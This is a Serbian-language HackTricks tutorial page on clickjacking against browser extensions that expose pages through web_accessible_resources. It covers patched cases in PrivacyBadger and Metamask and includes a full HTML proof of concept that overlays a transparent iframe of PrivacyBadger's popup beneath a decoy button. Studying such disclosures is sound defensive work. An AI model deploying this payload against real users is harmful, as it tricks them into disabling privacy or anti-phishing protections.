BrowExt - ClickJacking

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji pregledača.
Ako ne znate šta je ClickJacking, proverite:

Clickjacking

Ekstenzije sadrže datoteku manifest.json i ta JSON datoteka ima polje web_accessible_resources. Evo šta Chrome dokumentacija kaže o tome:

Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a chrome-extension://[PACKAGE ID]/[PATH], koji se može generisati pomoću extension.getURL method. Resursi na beloj listi se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.1

web_accessible_resources u ekstenziji pregledača nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da:

  • Promene stanje ekstenzije
  • Učitajte dodatne resurse
  • Interaguju sa pregledačem do određene mere

Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar web_accessible_resources ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i sposobnosti resursa ekstenzije.

Primer PrivacyBadger

U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa skin/ direktorijumom koji je proglašen kao web_accessible_resources na sledeći način (Proverite originalni blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, skin/popup.html datoteka, koja se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogla bi biti ugrađena unutar iframe. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog eksploata može se pogledati u ClickJacking video primeru koji je dostupan na https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Da bi se rešila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje /skin/* sa liste web_accessible_resources. Ova promena je efikasno smanjila rizik osiguravajući da sadržaj skin/ direktorijuma ne može biti pristupljen ili manipulisan putem web-pristupačnih resursa.

Popravka je bila jednostavna: ukloniti /skin/* iz web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Primer

A blog post about a ClickJacking in metamask can be found here. U ovom slučaju, Metamask je ispravio ranjivost proverom da li je protokol koji se koristi za pristup https: ili http: (ne chrome: na primer):

Još jedan ClickJacking ispravljen u Metamask ekstenziji bio je taj što su korisnici mogli da Kliknu da dodaju na belu listu kada je stranica bila sumnjiva da je phishing zbog “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je iskoristi prikazujući nešto normalno kako bi naterao žrtvu da klikne da je doda na belu listu, a zatim se vrati na phishing stranicu koja će biti dodata na belu listu.

Steam Inventory Helper Primer

Proverite sledeću stranicu da biste videli kako je XSS u ekstenziji pretraživača povezan sa ClickJacking ranjivošću:

BrowExt - XSS Example

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks